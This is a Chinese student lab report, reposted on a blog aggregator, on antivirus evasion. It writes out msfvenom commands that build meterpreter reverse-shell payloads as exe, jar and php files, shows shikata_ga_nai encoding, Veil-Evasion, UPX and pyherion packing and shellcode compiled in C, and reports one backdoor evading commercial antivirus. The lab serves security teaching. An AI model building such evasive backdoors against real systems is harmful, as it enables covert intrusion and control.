Exp3 免杀原理与实践 ——20164316张子遥
Posted talank
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Exp3 免杀原理与实践 ——20164316张子遥相关的知识,希望对你有一定的参考价值。
一、实践基本内容
1.实践目标
(1) 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.实践基础问题回答
(1)杀软是如何检测出恶意代码的?
特征码:杀软会将恶意代码中有明显特征的一部分作为特征码,通过比对特征码来检测
恶意软件行为判断:监控并判断软件行为,以程序的行为来判断是否为恶意软件。
(2)免杀是做什么?
在靶机当中的后门程序,能够不被杀毒软件所发现
(3)免杀的基本方法有哪些?
msfvenom生成,msfvenom命令进行多次编码,veil生成,shellcode编程,加壳。
二、实践具体步骤
目标一:① 正确使用msf编码器,② msfvenom生成如jar之类的其他文件,③ veil-evasion,④加壳工具,⑤ 使用shellcode编程
① 正确使用msf编码器
在上一次的实践中已经成功能够用msfvenom命令生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 -f exe > 20164316.exe
将生成的后门程序复制到本机上,可通过 https://www.virustotal.com/ 和 http://www.virscan.org/ 查看一下报毒结果。
基本上都达到了半数的报毒,这是直接生成的,那么试试在msfvenom命令中加上参数 i 进行一次或者多次编译。(此处试着编译了一次和七次)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\\x00’ LHOST=192.168.192.129 LPORT=4316 -f exe > met-encoded.exe msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\\x00’ LHOST=192.168.192.129 LPORT=4316 -f exe > met-encoded7.exe
再上传到virscan.org上查看结果
相比于之前直接生成的后门程序,报毒率甚至升高了....
② msfvenom生成如jar之类的其他文件
跟之前生成的后门程序同理。只需要修改参数,即可生成jar之类的其他文件。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 x> 4316.jar msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 x> 4316_2.php
③ 使用veil-evasion
由于我自身的虚拟机在下载veil的时候会出现死机的情况...于是拷贝了同学已经下好veil的虚拟机
使用 veil 命令进入,输入 use Evasion 进入veil的Evasion板块
通过上述所给出的命令,输入list列出可使用的后门程序列表,可以看到有好几种语言的。
输入 use 7 采用该c语言编写的,反弹tcp连接的选项;
然后随着步骤设置
set LHOST 192.168.192.129 set LPORT 4316
最后输入 generate 可生成文件
由生成结果显示的文件夹,我们可以找到后门程序在虚拟机 var/lib/veil/output/compiled/ 这个目录下,复制到Windows再上传到virscan.org上查看结果
④使用加壳工具
此处使用了upx压缩壳,输入命令 upx pwn4316.exe -o pwn4316.upxed.exe
将生成好了的后门程序上传到virscan.org上查看结果,发现跟之前的结果差别并不大
⑤ 使用shellcode编程(c语言+shellcode)
首先利用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 -f c 生成shellcode
输入 vi shellcode1.c 打开vim编辑器创建一个新的.c文件,并把生成的shellcode粘贴过来,再用c语言补全整个程序
保存并退出编辑器后,利用 i686-w64-mingw32-g++ shellcode1.c -o shellcode1.exe 编译.c文件,生成exe文件
将已经生成的后门程序复制到win中,并在Linux虚拟机中设置msf,打开监听,在win中运行程序,回连到kali,但是发现360安全卫士仍然报毒。
目标二:通过组合应用各种技术实现恶意代码免杀
在此次实践中为了能实现免杀,用了很多方法。
1.Linux中生成shellcode,在win中利用codeblock生成.c程序并进行编译,回连kali时仍然报毒。
2.对在Linux中生成的后门程序进行加壳,pyherion加密壳,回连kali时仍然报毒。
3.对在Linux中生成的后门程序进行加壳,先利用upx压缩壳,再使用pyherion加密壳,回连kali时仍然报毒。
有些忘了截图...
——————————以上为失败的尝试,以下是成功的——————————
最后采用的是利用veil生成Python编写的后门,同时在生成时采用了pyherion加壳。(因为veil-Evasion中生成后门能够直接用pyherion加密,较为方便)
最后回连kali成功同时与杀软并存的截图如下
目标三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
目标三仍然采用了veil生成Python编写的后门,同时在生成时采用了pyherion加壳。
因为Linux的虚拟机要连接另一台windows物理机,nat模式行不通,修改为桥接模式,于是虚拟机的ip发生了改变,所以后门程序都需要重新生成,修改LHOST为新的ip192.168.1.173
靶机用腾讯管家扫描了桌面,无法发现已经放在桌面上的后门程序进行报毒,同时回连kali成功
三、实践所遇问题与解决
1.在目标四中,起先发现在另一台win中ping虚拟机,会发生TTL传输中过期的问题,也因此在Linux上msf中监听不到后门程序的运行。
问题原因以及解决:发现可能是因为虚拟机网络适配器使用的是NAT模式,而虚拟机的本机win与另一台win在同一局域网,虚拟机与另一台win之间可能形成了路由环路,所以无法ping通,所以将虚拟机网络适配器使用改成了桥接模式,使虚拟机直接与另一台win在同一局域网中。
四、实践收获
在本次实验中,掌握了更多种后门程序的生成方法,以及掌握杀软是如何检测到恶意软件的原理,学会把后门程序免杀化,通过各种的尝试使自己的后门程序更加完善。
-
开启杀软能绝对防止电脑中恶意代码吗?
很明显,在实践中就能发现事实上杀软并不能绝对防止电脑中恶意代码,恶意软件能通过各种方式试图绕过杀软。
以上是关于Exp3 免杀原理与实践 ——20164316张子遥的主要内容,如果未能解决你的问题,请参考以下文章